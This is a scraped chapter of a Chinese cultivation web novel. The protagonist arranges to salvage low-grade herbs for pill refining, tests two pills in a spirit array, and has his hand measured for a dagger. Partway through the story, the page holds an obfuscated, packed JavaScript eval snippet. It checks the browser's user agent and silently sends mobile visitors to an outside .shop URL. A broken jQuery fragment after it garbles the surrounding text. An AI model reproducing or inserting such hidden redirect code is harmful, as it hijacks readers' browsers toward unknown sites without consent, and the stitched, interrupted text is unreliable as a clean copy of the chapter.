文趣网 > 其他小说 > 愿望成真,但代价随机 > 18. 三方
    第二天一早陆珩没去聚灵阵,先往西边的灵田走。日头还没升高,露水把田埂两边的草叶压弯了,走几步裤腿就湿了半截。他穿过那片矮树林的时候,远远看见赵大年已经蹲在第三块畦边上,手里捏着一把短柄锄在松土。

    “大年哥!”陆珩喊了一声,快步走过去。赵大年听见声音抬头,见是陆珩,把锄头搁在田埂上,站起来拍了拍手上的泥。“这么早?”

    陆珩在田埂边蹲下来,从怀里掏出那包干草摊开。“我昨天回去泡了一碗喝了,确实有点感觉——虽然不如灵宝堂换的丹药,但丹田里的气确实比平时暖了一小会儿。”他往前凑了凑,有些急切地看着赵大年,“你说它晾干了碾碎就能泡水喝,那我要是想拿来炼丹呢?我昨天不是跟你说有个认识的师姐在炼丹堂嘛……她教了我一种焙法,说晾干的草不能直接炼,得晾到半干再上锅焙。”

    赵大年听完陆珩的话,又低头看了看那包干草,拿起来捏了捏。“那这个确实不太能用了。”他把干草放回粗纸上,语气没有太多起伏,但陆珩看见他的目光在草叶上停了一会儿,“你要是能拿到半干的草,去找人焙一下应该还能炼。但灵田这边的半干草都是有数的,管事每天过一遍数,少了要问。”

    陆珩蹲在田埂上,看着赵大年把那包干草又卷起来递还给他,心里那个刚刚燃起来的念头被压下去了一些,但还没有灭。他想了一会儿,才慢慢开口:“那品质不好的草呢?就是那种长歪了的、虫咬过的、摘下来品相不好的,管事也不管吗?”

    赵大年看了他一眼。“品相不好的草倒是不少。每次收完一茬,分拣的时候总会筛出来一堆边角料,管事的看不上,一般就堆在棚子里等着晒干当柴烧了。”他停了停,像是明白了陆珩在想什么,“你是想从那些边角料里挑能用的?”

    陆珩点了点头。“那些草只是品相差,药性应该还在。如果只是拿来练手,应该够用。炼出来的丹药哪怕只有一品的效力,也比没有好。”他看着赵大年,“大年哥,你在灵田干了两年了,这些边角料你比我熟。你能认出哪些还能用吗?”

    赵大年蹲在田埂上沉默了一会儿。他拿起那株干草又放下去,像是把那句话在脑子里翻来覆去掂了几遍。“能认出一些,但不是全部。聚气草、通脉草这些常用的我认得,有些偏门的我不太熟。”他抬头看着陆珩,“你是想让我分拣的时候把能用的边角料筛出来给你?”

    “对。”陆珩说,“你分拣的时候留出来,我拿去焙或者晒,处理好了之后再找炼丹堂那个师姐帮忙炼。炼出来的丹——三个人分。”

    赵大年没有立刻回答。他站起来,走到屋前的水缸边舀了一瓢水慢慢喝了半瓢,然后把剩下的半瓢浇在脚边的干土上,水渗进去留下一块深色的湿痕。陆珩蹲在田埂上没有催他,低头看着脚边一株被露水压弯的草叶,叶尖上挂着一颗水珠,颤巍巍的没有落下来。

    “你要是真能炼成丹,”赵大年开口,声音比刚才低了一些,“我这边能认出五六种草来,都是灵田产出最多的几种。每茬收完分拣的时候,筛出来的边角料大概能装大半筐。你要是有办法处理,我可以帮你留着。”他顿了顿,“但我不能保证品相。有些草被虫咬过,药性可能已经走了大半。”

    “能用的留下就行,不能用的当柴烧。”陆珩站起来,裤腿上沾了一层泥,他拍了拍,“我去问问炼丹堂那个师姐,看她愿不愿意接这个活。”

    赵大年点了点头,没有再多说。陆珩转身沿着田埂往回走,走了几步又回头:“大年哥——那批边角料你先留着,别晒太干,晒到半干就行。我那边师姐说炼丹用的草不能全晒干。”

    赵大年挥了挥手,重新蹲回田埂边拿起锄头继续松土了。日头升高了一些,把他的影子缩成脚下短短的一团,在翻过的泥土上轻轻晃动。

    陆珩穿过广场往炼丹堂走,脚步比来的时候快了一些。他推开门的时候,柳惜微正蹲在矮案前把一批干药材装进陶罐里,见了陆珩进来也没停手,只是偏头看了他一眼:“你来得正好,我刚把昨天那锅焙好的聚气草收起来。”

    “柳师姐,”陆珩在案前蹲下来,把事情从头到尾说了一遍——赵大年那边能筛出品相不好的边角料,品相虽差但药性还在;他能把那些草按柳惜微教的方法焙好处理;柳惜微负责炼丹;炼出来的丹药三个人分。他说完之后,柳惜微把最后一撮干药材装进陶罐,拍了拍手上的碎末,看着陆珩。

    “你这脑子转得倒挺快。”她说。那语气不像夸奖,但也没有贬损的意思,像在陈述一个事实。她把陶罐盖好搁在架子上,转过身来在案前坐下:“一品丹药对药材的要求没有那么严苛,边角料只要药性还在、处理得当,确实能炼。但是你拿来的草要先让我看一眼,哪些能用、哪些不能用,我来定。品相太差的不能要——药性全走了,炼也是白炼。”

    陆珩点头:“那拿到药材之后,处理焙制还是我来做,省得你分心。”柳惜微看了他一眼,像在想什么事情,片刻后才开口:“可以。但你记住——一炉丹炼出来也不是每粒都能用,会有废丹。而且即便成了,也只能炼一品。聚气丹和行气丹没问题,别的你别指望。”陆珩蹲在案前,把柳惜微的话一句一句收进脑子里,然后站起来说了声“我知道了”就往外走。他走出门的时候,日光从西边斜照过来,把广场的地面晒成暖金色。

    从炼丹堂出来之后,陆珩没有直接去灵田。他在广场边站了一会儿,想了想,转身往聚灵阵的方向走。赵大年那边的事已经说定了,下次见面有的是时间,他现在更想做另一件事——把那两粒一品丹药在聚灵阵里试清楚。丹药换了这么久,他只在东三院的房间里吃过一次,感受是模糊的。聚灵阵的灵气比外面浓得多,在那里面试丹的效果,应该会更准确。

    聚灵阵的石殿门虚掩着,他推门进去,殿内比外面凉一些。符文石的微光在青石地面上铺了一层薄薄的暗青色,高窗漏进来的日光在空气里形成几道倾斜的光柱,尘埃在光柱里缓慢浮游。他在阵边坐定,盘腿闭眼,先运了一趟小周天,感受丹田里那团气在平时状态下的厚度和走向,把它的边界在心里描了一遍,然后从怀里摸出那只贴着“聚气丹”的瓶子。

    他拔开布塞,倒出一些含进嘴里,咽下去。片刻后,一股温热从腹底涌起,和上次在东三院房间里的感觉相似,但有一种细微的差别。在聚灵阵的环境里,那股温热似乎停留得更久,扩散的范围更广,像一滴墨落在水中,扩散的触手比在清水里要细密一些。

    他闭上眼把意念沉进丹田。那根蛛丝比昨天又粗了一点,在周围更浓的灵气里显得更有韧劲,像一根在湿润空气中慢慢吸收了水分的细线,被拉长了一些,也更软了一些。他推着那团气走小周天,一圈走完的时候,他能感觉到留在丹田里的那部分气——多了一层。不是很多,但能感觉到,像一碗水加了小半勺盐之后尝得出来的咸度。他又走了一圈,又走了一圈。三圈之后他睁开眼,掌心里有一层薄汗,那团气比平时粗了大约一两分。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727829|208891||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他换了那瓶行气丹。药粉咽下去的感觉和聚气丹不同,那股温热没有落在腹底,而是沿着血脉散开了。从胸口开始扩散,往四肢走,像有人拿温水沿着经脉从头冲了一遍,整条手臂内侧和小腿都能感受到那种从内向外撑开的暖意。

    他闭眼运功。小周天走完一圈的时候,他发现自己比平时快了大约两成。行气丹确实在催动气血,灵气在经脉里流动的速度明显提升,像一条原来只是缓缓渗水的沟渠被疏通之后变成了淌水的细流。丹田里的气还在,没有被损耗,但他能感觉到自己的心跳比平时快了,呼吸的节奏也从平稳变得略微短促,像冬天炭火烧得太旺时整间屋子闷得人微微发燥。他又走了一圈,这次速度更快了,但那种燥热感也越来越明显,像有一团热气在胸口聚着没有散出去,顶得他有些坐不住。

    他在第三圈中途停了下来,睁开眼,大口呼了几口气,等那股燥热慢慢退去,才重新让呼吸平稳下来。他发现行气丹在聚灵阵里的效果比在东三院房间里更强烈——灵气浓度高了,行气丹催动的气血循环也加倍了,快是快了,但身体撑不了太久,一圈半之后就有点扛不住了。聚气丹则像一块慢慢融化的冰,不急不躁,润物无声,三圈下来身体仍然稳稳当当的,丹田里那多出来的“盐分”也实实在在留了下来。

    他还想再试一次,把两粒丹药的顺序换一换,看看先吃行气丹再吃聚气丹是什么效果——如果是先加速再沉淀,会不会比单吃一种更好?这个念头刚浮起来,还没来得及付诸实施,殿门被人推开了,门轴发出干涩的吱呀,日光从门缝涌进来,在地面上铺了一道亮带,接着又合拢了。

    陆珩偏头,看见沈渡站在门口,肩膀快顶到门框上沿了,手里拎着一只粗布袋,布面上沾了几道灰黑色的擦痕。

    “你果然在这儿。”沈渡走进来,在离陆珩两三步远的地方坐下,把粗布袋搁在膝盖上,“灵宝堂那边说你把账清了,我一猜你就在这儿。”他低头解开袋口的系绳,从里面掏出一卷旧的厚纸搁在地上摊开。纸面泛黄,边角磨得起毛了,上面画着几幅线条草图,陆珩凑近了看,是短刀、短匕、还有一只带护腕的手部防具。

    “上次说给你打把短匕,但我后来想了想,打之前得先量清楚你的手。”沈渡说着从袋子里摸出一根细麻绳递过来,“你先把右手的尺寸给我——掌宽、指长、腕围、握拳之后的周长都量一下。”陆珩接过麻绳,绕着自己的右手量了一圈又一圈,沈渡在旁边拿指甲在绳上掐出几个标记点,然后收回去搁在膝盖上。

    “你刚在试丹?”沈渡瞥了一眼他身边的两只小瓷瓶。“嗯。聚气丹和行气丹,想看看在聚灵阵里哪个更合适。”陆珩把两种药丸的效果给沈渡大致说了一遍,聚气丹稳妥,行气丹太快,身体撑不住太久。沈渡听了没急着答,把那卷草图又卷起来收进袋里,隔了一会儿才开口:“我要是你,我就先用聚气丹把底子打稳。行气丹等你境界再高一点再用,现在用你扛不住那个燥。你本来经脉就有伤,气血一冲,可能还会把本来稳住的灵气冲散了。”

    陆珩沉默了。“行气丹先放一放,聚气丹先稳住,等身体适应了再说。”他说,这句话在他脑子里落下来,像一块不大不小的石头放进了一个刚刚好的坑里,没有溢出,也没有悬着。

    他抬头看了看沈渡:“你来找我,就是为了量手的尺寸?”

    “大部分是。”沈渡把那卷麻绳收进袋子系好口,站了起来,布袋搭在肩上,“顺便来看看你呗。”